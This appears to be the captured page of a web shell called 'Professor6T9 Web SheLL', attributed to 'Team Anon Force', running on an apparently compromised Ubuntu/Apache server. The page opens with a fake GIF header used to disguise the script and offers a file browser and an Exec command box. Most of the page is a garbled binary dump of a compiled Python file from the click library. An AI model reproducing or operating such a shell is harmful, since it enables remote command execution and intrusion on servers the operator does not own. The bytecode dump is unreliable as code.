GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
click
/
__pycache__
[ HOME ]
Exec
Submit
decorators.cpython-310.pyc
o �+ca: � @ s� d dl Z d dlZd dlZd dlmZ d dlmZ ddlm Z ddlm Z ddlmZ ddlmZ dd lm Z dd lmZ ddlmZ ddlmZ ejd ejdejf d�Ze�dejdejf e �Zdedefdd�Zdedefdd�Z dAdejdeddfdd�Zdd�dedeje ddfd d!�Zded"eje d#ej eejf d$eje de f d%d&�Z! dBd"eje d$ejeje d#ejdejege f fd'd(�Z"dCd"eje d#ejdejegef fd)d*�Z#ded+eddfd,d-�Z$d.ed#ejdejegef fd/d0�Z%d.ed#ejdejegef fd1d2�Z&d.ed3ejdejegef fd4d5�Z'd.ed3ejdejegef fd6d7�Z( dCdddd8�d9eje d.ed:eje d;eje d<eje d3ejdejegef fd=d>�Z)d.ed3ejdejegef fd?d@�Z*dS )D� N)�update_wrapper)�gettext� )�Argument)�Command)�Context)�Group)�Option)� Parameter��get_current_context)�echo�F.)Zbound�FC�f�returnc � � fdd�}t t�t|�� �S )z]Marks a callback as wanting to receive the current context object as first argument. c s � t � g| �R i |��S �Nr ��args�kwargs�r � �2/usr/lib/python3/dist-packages/click/decorators.py�new_func s zpass_context.<locals>.new_func�r �t�castr �r r r r r �pass_context s r c r )z�Similar to :func:`pass_context`, but only pass the object on the context onwards (:attr:`Context.obj`). This is useful if that object represents the state of a nested system. c s � t � jg| �R i |��S r )r �objr r r r r % s zpass_obj.<locals>.new_funcr r r r r �pass_obj s r! F�object_type�ensurezt.Callable[[F], F]c � dt dt f� �fdd�}|S )a. Given an object type this creates a decorator that will work similar to :func:`pass_obj` but instead of passing the object of the current context, it will find the innermost context of type :func:`object_type`. This generates a decorator that works roughly like this:: from functools import update_wrapper def decorator(f): @pass_context def new_func(ctx, *args, **kwargs): obj = ctx.find_object(object_type) return ctx.invoke(f, obj, *args, **kwargs) return update_wrapper(new_func, f) return decorator :param object_type: the type of the object to pass. :param ensure: if set to `True`, a new object will be created and remembered on the context if it's not there yet. r r c s"